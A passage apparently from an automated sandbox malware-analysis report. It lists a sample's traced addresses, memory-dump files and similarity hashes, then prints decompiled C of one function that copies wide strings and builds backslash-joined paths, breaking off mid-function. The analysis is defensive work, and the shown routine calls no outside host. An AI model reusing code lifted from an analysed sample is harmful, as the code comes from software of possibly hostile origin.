0x6ed57b4a
0x00000000
0x00000000
0x6ed57b4c
0x6ed57b4d
0x6ed57b4f
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed57b4f
0x6ed57b46
0x6ed57b3d
0x6ed57ba4
0x6ed57ba4
0x6ed57ba4
0x6ed57ba8
0x6ed57baa
0x6ed57bd0
0x6ed57bd3
0x6ed57bd6
0x6ed57bda
0x00000000
0x00000000
0x00000000
0x6ed57bac
0x6ed57bac
0x6ed57bae
0x6ed57fa2
0x6ed57fa7
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed57bb4
0x6ed57bb4
0x6ed57bb7
0x6ed57bb9
0x6ed57bbe
0x6ed57fa9
0x6ed57fa9
0x6ed57be0
0x6ed57bea
0x6ed57bed
0x6ed57bf1
0x6ed57bf1
0x6ed57bf6
0x6ed57bfe
0x6ed57bfe
0x6ed57bfe
0x6ed57bff
0x6ed57c0b
0x6ed57c0e
0x6ed57c12
0x6ed57c13
0x6ed57c17
0x6ed57c1c
0x6ed57c20
0x6ed57c24
0x6ed57c27
0x6ed57c29
0x6ed57c7f
0x6ed57c2b
0x6ed57c2b
0x6ed57c30
0x6ed57c32
0x6ed57c34
0x6ed57c37
0x6ed57c39
0x6ed57c3b
0x6ed57c3d
0x6ed57c41
0x6ed57c41
0x6ed57c43
0x6ed57c47
0x6ed57c47
0x6ed57c48
0x6ed57c4d
0x6ed57c51
0x6ed57c53
0x00000000
0x00000000
0x6ed57c55
0x6ed57c59
0x6ed57c5c
0x6ed57c5e
0x00000000
0x00000000
0x00000000
0x6ed57c5e
0x6ed57c60
0x6ed57c64
0x6ed57c64
0x6ed57c3b
0x6ed57c68
0x6ed57c6a
0x6ed57c6b
0x6ed57c6f
0x6ed57c74
0x6ed57c78
0x6ed57c78
0x6ed57c82
0x6ed57c86
0x6ed57c86
0x6ed57c88
0x6ed57c8a
0x00000000
0x6ed57c90
0x6ed57c90
0x00000000
0x6ed57c90
0x6ed57bc4
0x6ed57bc4
0x6ed57c93
0x6ed57c93
0x6ed57c95
0x6ed57c97
0x6ed57c9b
0x6ed57c9b
0x6ed57c9d
0x6ed57c9d
0x6ed57c9e
0x6ed57ca1
0x6ed57ca5
0x6ed57ca8
0x00000000
0x00000000
0x6ed57caa
0x6ed57cac
0x6ed57caf
0x00000000
0x00000000
0x00000000
0x6ed57caf
0x6ed57cb1
0x6ed57cb1
0x6ed57cb5
0x6ed57cb7
0x6ed57cb9
0x6ed57cc2
0x00000000
0x00000000
0x6ed57cbb
0x6ed57cbb
0x6ed57cc4
0x6ed57cc4
0x6ed57ccc
0x6ed57cd0
0x6ed57cd4
0x6ed57cd8
0x6ed57cd8
0x6ed57cdc
0x6ed57cdf
0x6ed57ce1
0x00000000
0x00000000
0x6ed57ce3
0x6ed57ce3
0x6ed57ce7
0x6ed57ce8
0x6ed57cea
0x00000000
0x00000000
0x00000000
0x6ed57cea
0x6ed57cec
0x6ed57cf0
0x6ed57cf0
0x00000000
0x6ed57cb9
0x6ed57bbe
0x6ed57bae
0x6ed57baa
0x00000000
0x00000000
0x00000000
0x6ed57ab1
0x00000000
0x6ed57ab3
0x6ed57ab7
0x6ed57ab8
0x6ed57ab8
0x00000000
0x6ed57f41
0x6ed57f45
0x6ed57f46
0x6ed57f46
0x6ed57f4e
0x6ed57f53
0x6ed57f55
0x6ed57e4b
0x6ed57e4b
0x6ed57e52
0x6ed57e54
0x6ed57e5a
0x6ed57e5c
0x6ed57e5e
0x6ed57e95
0x6ed57e60
0x6ed57e60
0x6ed57e62
0x6ed57e64
0x6ed57e67
0x6ed57e69
0x6ed57e6b
0x6ed57e6d
0x6ed57e6d
0x6ed57e6f
0x6ed57e6f
0x6ed57e70
0x6ed57e75
0x6ed57e79
0x6ed57e7b
0x00000000
0x00000000
0x6ed57e7d
0x6ed57e81
0x6ed57e84
0x6ed57e86
0x00000000
0x00000000
0x00000000
0x6ed57e86
0x6ed57e6f
0x6ed57e6b
0x6ed57e88
0x6ed57e88
0x6ed57e8a
0x6ed57e8b
0x6ed57e90
0x6ed57e90
0x6ed57e98
0x6ed57e9b
0x6ed57e9d
0x00000000
0x6ed57cf4
0x6ed57cf8
0x6ed57cf9
0x6ed57cfc
0x6ed57cfc
0x6ed57d04
0x6ed57d04
0x6ed57d07
0x6ed57d07
0x6ed57d09
0x6ed57d0b
0x6ed57d0e
0x6ed57d0e
0x6ed57d11
0x00000000
0x6ed57d17
0x6ed57d19
0x6ed57d19
0x6ed57d1c
0x6ed57d30
0x6ed57d34
0x6ed57d40
0x6ed57d40
0x6ed57d46
0x6ed57d46
0x6ed57d4b
0x6ed57d4f
0x6ed57d53
0x6ed57d55
0x00000000
0x00000000
0x6ed57d5b
0x6ed57d5e
0x6ed57d60
0x00000000
0x6ed57d62
0x6ed57d62
0x6ed57d68
0x6ed57d79
0x6ed57d79
0x00000000
0x6ed57d6a
0x6ed57d6a
0x6ed57d6e
0x00000000
0x00000000
0x6ed57d70
0x6ed57d71
0x6ed57d77
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed57d77
0x6ed57d6a
0x6ed57d68
0x00000000
0x6ed57d60
0x6ed57ec1
0x6ed57ec4
0x6ed57d1e
0x6ed57d20
0x6ed57d22
0x6ed57d22
0x6ed57d25
0x6ed57d25
0x6ed57d29
0x00000000
0x00000000
0x6ed57d2b
0x6ed57d2c
0x6ed57d2e
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed57d2e
0x6ed57d25
0x6ed57d7e
0x6ed57d83
0x6ed57d83
0x6ed57d86
0x6ed57d89
0x6ed57d8c
0x6ed57d8e
0x6ed57da1
0x6ed57da4
0x6ed57da4
0x6ed57daa
0x6ed57db2
0x6ed57db2
0x6ed57db2
0x6ed57db5
0x6ed57dbc
0x6ed57dbf
0x6ed57dc5
0x6ed57dc7
0x6ed57dcd
0x6ed57dcf
0x6ed57dd1
0x6ed57e20
0x6ed57dd3
0x6ed57dd3
0x6ed57dd5
0x6ed57dd7
0x6ed57dda
0x6ed57ddc
0x6ed57dde
0x6ed57de0
0x6ed57de2
0x6ed57de5
0x6ed57de9
0x6ed57deb
0x6ed57deb
0x6ed57dec
0x6ed57df1
0x6ed57df5
0x6ed57df7
0x00000000
0x00000000
0x6ed57df9
0x6ed57dfd
0x6ed57e00
0x6ed57e02
0x00000000
0x00000000
0x00000000
0x6ed57e02
0x6ed57e04
0x6ed57e07
0x6ed57e07
0x6ed57dde
0x6ed57e0b
0x6ed57e0d
0x6ed57e0e
0x6ed57e12
0x6ed57e17
0x6ed57e1b
0x6ed57e1b
0x6ed57e23
0x6ed57e26
0x6ed57e29
0x6ed57d90
0x6ed57d90
0x6ed57d90
0x6ed57e2b
0x6ed57e2d
0x6ed57e2f
0x6ed57e31
0x6ed57e37
0x6ed57e37
0x6ed57e3a
0x6ed57e3b
0x6ed57e3d
0x6ed57e3f
0x00000000
0x00000000
0x6ed57e41
0x6ed57e43
0x6ed57ebb
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed57e45
0x6ed57e45
0x6ed57e47
0x6ed57e35
0x6ed57e36
0x6ed57e36
0x00000000
0x6ed57e36
0x00000000
0x6ed57e47
0x6ed57e37
0x6ed57e2f
0x6ed57d11
0x6ed5779f
0x6ed57798
0x6ed576f5
0x6ed57ea4
0x6ed57ea4
0x6ed57ea6
0x6ed57ea7
0x6ed57eb8
0x6ed57674
0x6ed57674
0x6ed57679
0x6ed5767b
0x6ed5767d
0x6ed57685
0x6ed57687
0x6ed5768d
0x6ed57691
0x6ed576c8
0x6ed57693
0x6ed57695
0x6ed57697
0x6ed5769a
0x6ed5769e
0x6ed576a0
0x6ed576a2
0x6ed576a2
0x6ed576a3
0x6ed576a8
0x6ed576ae
0x00000000
0x00000000
0x6ed576b0
0x6ed576b4
0x6ed576b9
0x00000000
0x00000000
0x00000000
0x6ed576b9
0x6ed576a2
0x6ed5769e
0x6ed576bb
0x6ed576bb
0x6ed576bd
0x6ed576be
0x6ed576c3
0x6ed576c3
0x6ed576cb
0x6ed576ce
0x6ed576d5
0x6ed576e0
0x6ed576e0
0x00000000

Strings

@, xrefs: 6ED57FA2

Memory Dump Source

Source File: 00000000.00000002.791906460.000000006ED31000.00000020.00020000.sdmp, Offset: 6ED30000, based on PE: true

Associated: 00000000.00000002.791898803.000000006ED30000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791929720.000000006ED65000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791939935.000000006ED6B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.791948148.000000006ED6C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 52cf54630ff8bdc2b50b66d371acd1fbb21b2ea9802d435e193b7f6b95655d85
Instruction ID: 6dc9f1f0e56f240ab2d4088f5bcf36b7eaad2dd1d9899f996d33643636f487ff
Opcode Fuzzy Hash: 52cf54630ff8bdc2b50b66d371acd1fbb21b2ea9802d435e193b7f6b95655d85
Instruction Fuzzy Hash: A8521A71A08353EBEB168FB8C49032A77D2AB86350F34C66DD8A58B3D1DA35C961C791

Uniqueness

Uniqueness Score: -1.00%

Function 6ED4D030, Relevance: 2.0, Strings: 1, Instructions: 789
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E6ED4D030(void* __ecx, signed int* _a4) {
				unsigned int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				unsigned int _v52;
				signed int _v56;
				unsigned int _v60;
				signed int _v64;
				signed int _v68;
				unsigned int _t225;
				signed int _t230;
				signed int _t231;
				void* _t232;
				signed int _t233;
				signed int _t234;
				signed int _t235;
				signed int _t241;
				signed int _t243;
				signed int _t245;
				signed int _t246;
				signed int _t247;
				signed int _t248;
				signed int _t249;
				signed int _t250;
				signed int _t255;
				signed int _t257;
				signed int _t258;
				unsigned int _t267;
				signed int _t272;
				signed int _t277;
				unsigned int _t283;
				signed int _t284;
				signed int* _t286;
				signed int _t287;
				signed int _t294;
				signed int _t295;
				signed int _t297;
				signed int _t298;
				signed int _t304;
				unsigned int _t306;
				signed int _t307;
				signed int _t308;
				signed int _t309;
				signed int _t310;
				signed int _t312;
				signed int _t313;
				signed int _t316;
				signed int _t317;
				unsigned int _t326;
				signed int _t327;
				signed int _t329;
				signed int _t330;
				void* _t331;
				signed int _t332;
				signed int _t334;
				signed int _t335;
				signed int _t336;
				unsigned int _t341;
				signed int _t342;
				signed int _t344;
				signed int _t346;
				signed int _t351;
				signed int _t354;
				signed int _t355;
				signed int _t361;
				signed int _t362;
				signed int _t364;
				unsigned int _t369;
				signed int _t370;
				signed int _t371;
				signed int _t374;
				void* _t382;
				signed int _t384;
				signed int _t385;
				signed int _t389;
				signed int _t390;
				unsigned int _t405;
				signed int _t406;
				signed int _t409;
				signed int _t410;
				signed int _t411;
				signed short* _t414;
				signed int _t418;
				unsigned int _t419;
				signed int _t421;
				unsigned int _t429;
				void* _t433;
				signed int _t434;
				signed int _t435;
				signed int _t441;
				signed int _t442;
				signed int _t443;
				signed int* _t445;
				unsigned int _t447;
				signed int _t448;
				signed int _t449;
				signed int _t450;
				signed int _t451;
				signed int _t452;
				signed int _t458;
				signed int _t465;
				unsigned int _t467;
				signed int _t468;
				signed int _t471;
				void* _t473;
				void* _t474;

				_t473 = (_t471 & 0xfffffff0) - 0x34;
				E6ED4D980(__ecx,  &_v60, 0x2f);
				_t294 = E6ED4E7D0( &_v60);
				_t445 = _a4;
				_t316 =  *_t294;
				if(_t316 != 0) {
					_t364 =  *( *( *(_t294 + 4)));
					__eflags = _t364;
					if(_t364 == 0) {
						L37:
						_push(0x80);
						_t418 = E6ED41030();
						_t473 = _t473 + 4;
						 *_t418 = 0;
						__eflags =  *_t294 - 1;
						if( *_t294 <= 1) {
							L70:
							 *_t445 = 0;
							_t445[1] = 0;
							__eflags = _t418;
							if(_t418 == 0) {
								L105:
								_push(0x80);
								_t295 = E6ED41030();
								_t473 = _t473 + 4;
								_t317 =  *_t445;
								__eflags = _t317;
								if(_t317 == 0) {
									__eflags = 0;
									 *_t295 = 0;
									L113:
									 *_t445 = _t295;
									_t445[1] = 0x40;
									L114:
									_push(2);
									_push(_t418);
									E6ED410B0();
									_t474 = _t473 + 8;
									L115:
									_t419 = _v60;
									_v60 = 0;
									_v52 = 0;
									_t369 = _v56;
									if(_t419 <= 0) {
										L127:
										_push(4);
										_push(_t369);
										E6ED410B0();
										_v56 = 0;
										return _t445;
									}
									_t225 = _t419 >> 1;
									if(_t225 == 0) {
										_t297 = 1;
										L124:
										if(_t297 - 1 < _t419) {
											_t319 =  *((intOrPtr*)(_t369 + _t297 * 4 - 4));
											if( *((intOrPtr*)(_t369 + _t297 * 4 - 4)) != 0) {
												_push(1);
												E6ED487E0(_t319);
												_t369 = _v60;
											}
										}
										goto L127;
									}
									_t298 = 0;
									_t447 = _t225;
									do {
										_t320 =  *((intOrPtr*)(_t369 + _t298 * 8));
										if( *((intOrPtr*)(_t369 + _t298 * 8)) != 0) {
											_push(1);
											E6ED487E0(_t320);
											_t369 = _v60;
										}
										_t321 =  *((intOrPtr*)(_t369 + 4 + _t298 * 8));
										if( *((intOrPtr*)(_t369 + 4 + _t298 * 8)) != 0) {
											_push(1);
											E6ED487E0(_t321);
											_t369 = _v60;
										}
										_t298 = _t298 + 1;
									} while (_t298 < _t447);
									_t445 = _a4;
									_t297 = _t298 + _t298 + 1;
									goto L124;
								}
								__eflags = _t295;
								if(_t295 == 0) {
									L111:
									_push(2);
									_push(_t317);
									E6ED410B0();
									_t473 = _t473 + 8;
									goto L113;
								}
								_t370 =  *_t317 & 0x0000ffff;
								 *_t295 = _t370;
								__eflags = _t370;
								if(_t370 == 0) {
									goto L111;
								}
								_t371 = 0;
								__eflags = 0;
								while(1) {
									_t371 = _t371 + 1;
									_t230 =  *(_t317 + _t371 * 4 - 2) & 0x0000ffff;
									 *(_t295 + _t371 * 4 - 2) = _t230;
									__eflags = _t230;
									if(_t230 == 0) {
										goto L111;
									}
									_t231 =  *(_t317 + _t371 * 4) & 0x0000ffff;
									 *(_t295 + _t371 * 4) = _t231;
									__eflags = _t231;
									if(_t231 != 0) {
										continue;
									}
									goto L111;
								}
								goto L111;
							}
							L71:
							__eflags =  *_t418 & 0x0000ffff;
							if(( *_t418 & 0x0000ffff) == 0) {
								goto L105;
							}
							_t374 = _t418 & 0x0000000f;
							__eflags = _t374;
							if(_t374 == 0) {
								L77:
								asm("pxor xmm0, xmm0");
								_t304 =  ~( ~_t374 + 0x00000007 & 0x00000007) + 0x7fffffff;
								__eflags = _t304;
								while(1) {
									asm("movdqu xmm1, [edi+edx*2]");
									asm("pcmpeqw xmm1, xmm0");
									asm("pmovmskb ecx, xmm1");
									__eflags = _t316;
									if(_t316 != 0) {
										break;
									}
									_t374 = _t374 + 8;
									__eflags = _t374 - _t304;
									if(_t374 < _t304) {
										continue;
									}
									__eflags = _t304 - 0x7fffffff;
									if(_t304 >= 0x7fffffff) {
										L83:
										_t304 = 0x7fffffff;
										L84:
										_t82 = _t304 + 1; // 0x80000000
										_t232 = _t82;
										__eflags = _t232 - 0x40;
										_t233 =  <=  ? 0x40 : _t232;
										__eflags = _t233;
										if(_t233 > 0) {
											_t326 = (_t233 >> 5 >> 0x1a) + _t233 >> 6;
											_t234 = _t233 & 0x8000003f;
											__eflags = _t234;
											if(_t234 < 0) {
												_t234 = (_t234 - 0x00000001 | 0xffffffc0) + 1;
												__eflags = _t234;
											}
											__eflags = _t234;
											_t327 = _t326 + (0 | _t234 > 0x00000000);
											_v64 = _t327 << 6;
											_push(_t327 << 7);
											_t235 = E6ED41030();
											_t473 = _t473 + 4;
											_t329 =  *_t445;
											__eflags = _t329;
											if(_t329 == 0) {
												__eflags = 0;
												 *_t235 = 0;
												goto L97;
											} else {
												__eflags = _t235;
												if(_t235 == 0) {
													L95:
													_push(2);
													_push(_t329);
													_v68 = _t235;
													E6ED410B0();
													_t235 = _v68;
													_t473 = _t473 + 8;
													L97:
													_t445[1] = _v64;
													 *_t445 = _t235;
													L98:
													_t330 = _t418;
													__eflags = _t235;
													if(_t235 == 0) {
														goto L114;
													}
													_t382 = 0;
													while(1) {
														_t448 =  *_t330 & 0x0000ffff;
														_t382 = _t382 + 1;
														 *_t235 = _t448;
														__eflags = _t304;
														if(_t304 == 0) {
															goto L103;
														}
														__eflags = _t382 - _t304;
														if(_t382 == _t304) {
															_t445 = _a4;
															 *(_t235 + 2) = 0;
															goto L114;
														}
														L103:
														__eflags = _t448;
														if(_t448 == 0) {
															_t445 = _a4;
															goto L114;
														}
														_t235 = _t235 + 2;
														_t330 = _t330 + 2;
														__eflags = _t330;
													}
												}
												_t384 =  *_t329 & 0x0000ffff;
												 *_t235 = _t384;
												__eflags = _t384;
												if(_t384 == 0) {
													goto L95;
												}
												_t385 = 0;
												__eflags = 0;
												while(1) {
													_t385 = _t385 + 1;
													_t449 =  *(_t329 + _t385 * 4 - 2) & 0x0000ffff;
													 *(_t235 + _t385 * 4 - 2) = _t449;
													__eflags = _t449;
													if(_t449 == 0) {
														break;
													}
													_t450 =  *(_t329 + _t385 * 4) & 0x0000ffff;
													 *(_t235 + _t385 * 4) = _t450;
													__eflags = _t450;
													if(_t450 != 0) {
														continue;
													}
													break;
												}
												_t445 = _a4;
												goto L95;
											}
										}
										_t235 = 0;
										goto L98;
									} else {
										goto L81;
									}
									while(1) {
										L81:
										__eflags =  *(_t418 + _t304 * 2) & 0x0000ffff;
										if(( *(_t418 + _t304 * 2) & 0x0000ffff) == 0) {
											goto L84;
										}
										_t304 = _t304 + 1;
										__eflags = _t304 - 0x7fffffff;
										if(_t304 < 0x7fffffff) {
											continue;
										}
										goto L83;
									}
									goto L84;
								}
								asm("bsf ebx, ecx");
								_t304 = (_t304 >> 1) + _t374;
								goto L84;
							}
							_t304 = 0;
							__eflags = _t374 & 0x00000001;
							if((_t374 & 0x00000001) != 0) {
								goto L81;
							}
							_t374 =  ~_t374 + 0x10 >> 1;
							__eflags = _t374;
							while(1) {
								_t316 =  *(_t418 + _t304 * 2) & 0x0000ffff;
								__eflags = _t316;
								if(_t316 == 0) {
									goto L84;
								}
								_t304 = _t304 + 1;
								__eflags = _t304 - _t374;
								if(_t304 < _t374) {
									continue;
								}
								goto L77;
							}
							goto L84;
						}
						_v40 = 0x40;
						L39:
						__eflags = 1;
						_t389 = 1;
						_t241 = _t294;
						asm("pxor xmm0, xmm0");
						_t306 = 1;
						do {
							__eflags = _t418;
							if(_t418 == 0) {
								_t390 = 0;
								L205:
								_v32 = _t241;
								_t451 = _t390;
								L54:
								_t48 = _t451 + 2; // -2147483652
								_t331 = _t48;
								__eflags = _t331 - 0x40;
								_t332 =  <=  ? 0x40 : _t331;
								__eflags = _t332 - _v40;
								if(_t332 <= _v40) {
									L66:
									_t316 = 0;
									 *((short*)(_t418 + _t451 * 2)) = 0x5c;
									 *((short*)(_t418 + 2 + _t451 * 2)) = 0;
									_t452 = _v32;
									_t389 =  *( *( *((intOrPtr*)(_t452 + 4)) + _t306 * 4));
									__eflags = _t389;
									if(_t389 == 0) {
										goto L68;
									}
									_t316 =  *_t389 & 0x0000ffff;
									__eflags = _t316;
									if(_t316 != 0) {
										__eflags = _t389 - _t418;
										if(_t389 == _t418) {
											goto L68;
										}
										_t245 = _t389 & 0x0000000f;
										__eflags = _t245;
										if(_t245 == 0) {
											L134:
											asm("pxor xmm1, xmm1");
											_t465 =  ~( ~_t245 + 0x00000007 & 0x00000007) + 0x7fffffff;
											__eflags = _t465;
											while(1) {
												asm("movdqu xmm0, [edx+eax*2]");
												asm("pcmpeqw xmm0, xmm1");
												asm("pmovmskb ecx, xmm0");
												__eflags = _t316;
												if(_t316 != 0) {
													break;
												}
												_t245 = _t245 + 8;
												__eflags = _t245 - _t465;
												if(_t245 < _t465) {
													continue;
												}
												__eflags = _t465 - 0x7fffffff;
												if(_t465 >= 0x7fffffff) {
													L140:
													_t465 = 0x7fffffff;
													L141:
													__eflags = _t418;
													if(_t418 == 0) {
														_t246 = 0;
														L155:
														_t149 = _t246 + 1; // 0x80000000
														_t247 = _t465 + _t149;
														__eflags = _t247;
														if(_t247 != 0) {
															__eflags = _t247 - 0x40;
															_t248 =  <=  ? 0x40 : _t247;
															__eflags = _t248 - _v40;
															if(_t248 <= _v40) {
																L173:
																_t249 = _t418;
																__eflags = _t418;
																if(_t418 == 0) {
																	L204:
																	_t241 = _v32;
																	_t390 = 0;
																	_t306 = _t306 + 1;
																	__eflags = _t306 -  *_t241;
																	if(_t306 >=  *_t241) {
																		_t445 = _a4;
																		 *_t445 = 0;
																		_t445[1] = 0;
																		goto L105;
																	}
																	goto L205;
																}
																_t334 =  *_t418 & 0x0000ffff;
																L175:
																__eflags = _t334;
																if(_t334 == 0) {
																	L180:
																	_t335 = _t249;
																	__eflags = _t465;
																	if(__eflags != 0) {
																		if(__eflags <= 0) {
																			L187:
																			_t316 = _v32;
																			_t389 = 0;
																			 *_t249 = 0;
																			_t306 = _t306 + 1;
																			__eflags = _t306 -  *_t316;
																			if(_t306 <  *_t316) {
																				L42:
																				_t243 = _t418 & 0x0000000f;
																				__eflags = _t243;
																				if(_t243 == 0) {
																					L47:
																					asm("pxor xmm1, xmm1");
																					_t458 =  ~( ~_t243 + 0x00000007 & 0x00000007) + 0x7fffffff;
																					__eflags = _t458;
																					while(1) {
																						asm("movdqu xmm0, [edi+eax*2]");
																						asm("pcmpeqw xmm0, xmm1");
																						asm("pmovmskb edx, xmm0");
																						__eflags = _t389;
																						if(_t389 != 0) {
																							break;
																						}
																						_t243 = _t243 + 8;
																						__eflags = _t243 - _t458;
																						if(_t243 < _t458) {
																							continue;
																						}
																						__eflags = _t458 - 0x7fffffff;
																						if(_t458 >= 0x7fffffff) {
																							L53:
																							_t451 = 0x7fffffff;
																							goto L54;
																						} else {
																							goto L51;
																						}
																						while(1) {
																							L51:
																							__eflags =  *(_t418 + _t458 * 2) & 0x0000ffff;
																							if(( *(_t418 + _t458 * 2) & 0x0000ffff) == 0) {
																								break;
																							}
																							_t458 = _t458 + 1;
																							__eflags = _t458 - 0x7fffffff;
																							if(_t458 < 0x7fffffff) {
																								continue;
																							}
																							goto L53;
																						}
																						L196:
																						__eflags = _t451 - 0xfffffffe;
																						if(_t451 == 0xfffffffe) {
																							 *_t418 = 0;
																						}
																						goto L54;
																					}
																					asm("bsf esi, edx");
																					_t451 = (_t458 >> 1) + _t243;
																					goto L196;
																				}
																				_t458 = 0;
																				__eflags = _t243 & 0x00000001;
																				if((_t243 & 0x00000001) != 0) {
																					goto L51;
																				}
																				_t243 =  ~_t243 + 0x10 >> 1;
																				__eflags = _t243;
																				while(1) {
																					_t389 =  *(_t418 + _t458 * 2) & 0x0000ffff;
																					__eflags = _t389;
																					if(_t389 == 0) {
																						goto L196;
																					}
																					_t458 = _t458 + 1;
																					__eflags = _t458 - _t243;
																					if(_t458 < _t243) {
																						continue;
																					}
																					goto L47;
																				}
																				goto L196;
																			}
																			_t445 = _a4;
																			L192:
																			 *_t445 = 0;
																			_t445[1] = 0;
																			goto L71;
																		}
																		L183:
																		_v48 = 0;
																		_v44 = _t418;
																		_v28 = _t306;
																		_t421 = _v48;
																		while(1) {
																			_t307 =  *(_t389 + _t421 * 2) & 0x0000ffff;
																			 *(_t335 + _t421 * 2) = _t307;
																			__eflags = _t307;
																			if(_t307 == 0) {
																				break;
																			}
																			_t190 = _t421 * 2; // 0x2
																			_t249 = _t335 + _t190 + 2;
																			_t421 = _t421 + 1;
																			__eflags = _t421 - _t465;
																			if(_t421 < _t465) {
																				continue;
																			}
																			break;
																		}
																		_t306 = _v28;
																		_t418 = _v44;
																		goto L187;
																	}
																	_t465 = 0x7fffffff;
																	goto L183;
																}
																_v36 = _t389;
																_t336 = 0;
																__eflags = 0;
																_v28 = _t306;
																while(1) {
																	_t336 = _t336 + 1;
																	_t308 = _t418 + _t336 * 4;
																	_t249 = _t308 - 2;
																	__eflags =  *(_t308 - 2) & 0x0000ffff;
																	if(( *(_t308 - 2) & 0x0000ffff) == 0) {
																		break;
																	}
																	_t249 = _t308;
																	__eflags =  *_t308 & 0x0000ffff;
																	if(( *_t308 & 0x0000ffff) != 0) {
																		continue;
																	}
																	break;
																}
																_t389 = _v36;
																_t306 = _v28;
																goto L180;
															}
															L161:
															_t341 = (_t248 >> 5 >> 0x1a) + _t248 >> 6;
															_t250 = _t248 & 0x8000003f;
															__eflags = _t250;
															if(_t250 < 0) {
																_t250 = (_t250 - 0x00000001 | 0xffffffc0) + 1;
																__eflags = _t250;
															}
															__eflags = _t250;
															_t342 = _t341 + (0 | _t250 > 0x00000000);
															_v40 = _t342 << 6;
															_push(_t342 << 7);
															_v36 = _t389;
															_t255 = E6ED41030();
															_t389 = _v36;
															_t344 = _t255;
															_t473 = _t473 + 4;
															__eflags = _t418;
															if(_t418 == 0) {
																__eflags = 0;
																 *_t344 = 0;
																goto L172;
															} else {
																__eflags = _t344;
																if(_t344 == 0) {
																	L170:
																	_push(2);
																	_push(_t418);
																	_v68 = _t344;
																	_v36 = _t389;
																	E6ED410B0();
																	_t389 = _v36;
																	_t344 = _v68;
																	_t473 = _t473 + 8;
																	L172:
																	_t418 = _t344;
																	goto L173;
																}
																_t257 =  *_t418 & 0x0000ffff;
																 *_t344 = _t257;
																__eflags = _t257;
																if(_t257 == 0) {
																	goto L170;
																}
																_v28 = _t306;
																_t258 = 0;
																__eflags = 0;
																while(1) {
																	_t258 = _t258 + 1;
																	_t309 =  *(_t418 + _t258 * 4 - 2) & 0x0000ffff;
																	 *(_t344 + _t258 * 4 - 2) = _t309;
																	__eflags = _t309;
																	if(_t309 == 0) {
																		break;
																	}
																	_t310 =  *(_t418 + _t258 * 4) & 0x0000ffff;
																	 *(_t344 + _t258 * 4) = _t310;
																	__eflags = _t310;
																	if(_t310 != 0) {
																		continue;
																	}
																	break;
																}
																_t306 = _v28;
																goto L170;
															}
														}
														__eflags = _t418;
														if(_t418 == 0) {
															__eflags = _v40 - 0x40;
															if(_v40 < 0x40) {
																L159:
																_t248 = 0x40;
																goto L161;
															}
															goto L204;
														}
														_t334 = 0;
														 *_t418 = 0;
														__eflags = _v40 - 0x40;
														if(_v40 < 0x40) {
															goto L159;
														}
														_t249 = _t418;
														goto L175;
													}
													_t346 = _t418 & 0x0000000f;
													__eflags = _t346;
													if(_t346 == 0) {
														L148:
														asm("pxor xmm1, xmm1");
														_v28 = _t306;
														_t246 =  ~( ~_t346 + 0x00000007 & 0x00000007) + 0x7fffffff;
														__eflags = _t246;
														while(1) {
															asm("movdqu xmm0, [edi+ecx*2]");
															asm("pcmpeqw xmm0, xmm1");
															asm("pmovmskb ebx, xmm0");
															__eflags = _t306;
															if(_t306 != 0) {
																break;
															}
															_t346 = _t346 + 8;
															__eflags = _t346 - _t246;
															if(_t346 < _t246) {
																continue;
															}
															_t306 = _v28;
															__eflags = _t246 - 0x7fffffff;
															if(_t246 >= 0x7fffffff) {
																L154:
																_t246 = 0x7fffffff;
																goto L155;
															} else {
																goto L152;
															}
															while(1) {
																L152:
																__eflags =  *(_t418 + _t246 * 2) & 0x0000ffff;
																if(( *(_t418 + _t246 * 2) & 0x0000ffff) == 0) {
																	goto L155;
																}
																_t246 = _t246 + 1;
																__eflags = _t246 - 0x7fffffff;
																if(_t246 < 0x7fffffff) {
																	continue;
																}
																goto L154;
															}
															goto L155;
														}
														asm("bsf eax, eax");
														_t267 = _t306 >> 1;
														_t306 = _v28;
														_t246 = _t267 + _t346;
														goto L155;
													}
													_t246 = 0;
													__eflags = _t346 & 0x00000001;
													if((_t346 & 0x00000001) != 0) {
														goto L152;
													}
													_t346 =  ~_t346 + 0x10 >> 1;
													__eflags = _t346;
													_v28 = _t306;
													while(1) {
														__eflags =  *(_t418 + _t246 * 2) & 0x0000ffff;
														if(( *(_t418 + _t246 * 2) & 0x0000ffff) == 0) {
															break;
														}
														_t246 = _t246 + 1;
														__eflags = _t246 - _t346;
														if(_t246 < _t346) {
															continue;
														}
														_t306 = _v28;
														goto L148;
													}
													_t306 = _v28;
													goto L155;
												} else {
													goto L138;
												}
												while(1) {
													L138:
													__eflags =  *(_t389 + _t465 * 2) & 0x0000ffff;
													if(( *(_t389 + _t465 * 2) & 0x0000ffff) == 0) {
														goto L141;
													}
													_t465 = _t465 + 1;
													__eflags = _t465 - 0x7fffffff;
													if(_t465 < 0x7fffffff) {
														continue;
													}
													goto L140;
												}
												goto L141;
											}
											asm("bsf esi, ecx");
											_t465 = (_t465 >> 1) + _t245;
											goto L141;
										}
										_t465 = 0;
										__eflags = _t245 & 0x00000001;
										if((_t245 & 0x00000001) != 0) {
											goto L138;
										}
										_t245 =  ~_t245 + 0x10 >> 1;
										__eflags = _t245;
										while(1) {
											_t316 =  *(_t389 + _t465 * 2) & 0x0000ffff;
											__eflags = _t316;
											if(_t316 == 0) {
												goto L141;
											}
											_t465 = _t465 + 1;
											__eflags = _t465 - _t245;
											if(_t465 < _t245) {
												continue;
											}
											goto L134;
										}
										goto L141;
									}
									goto L68;
								}
								_t405 = (_t332 >> 5 >> 0x1a) + _t332 >> 6;
								_t351 = _t332 & 0x8000003f;
								__eflags = _t351;
								if(_t351 < 0) {
									_t351 = (_t351 - 0x00000001 | 0xffffffc0) + 1;
									__eflags = _t351;
								}
								__eflags = _t351;
								_t406 = _t405 + (0 | _t351 > 0x00000000);
								_v40 = _t406 << 6;
								_push(_t406 << 7);
								_t272 = E6ED41030();
								_t473 = _t473 + 4;
								__eflags = _t418;
								if(_t418 == 0) {
									__eflags = 0;
									 *_t272 = 0;
									goto L65;
								} else {
									__eflags = _t272;
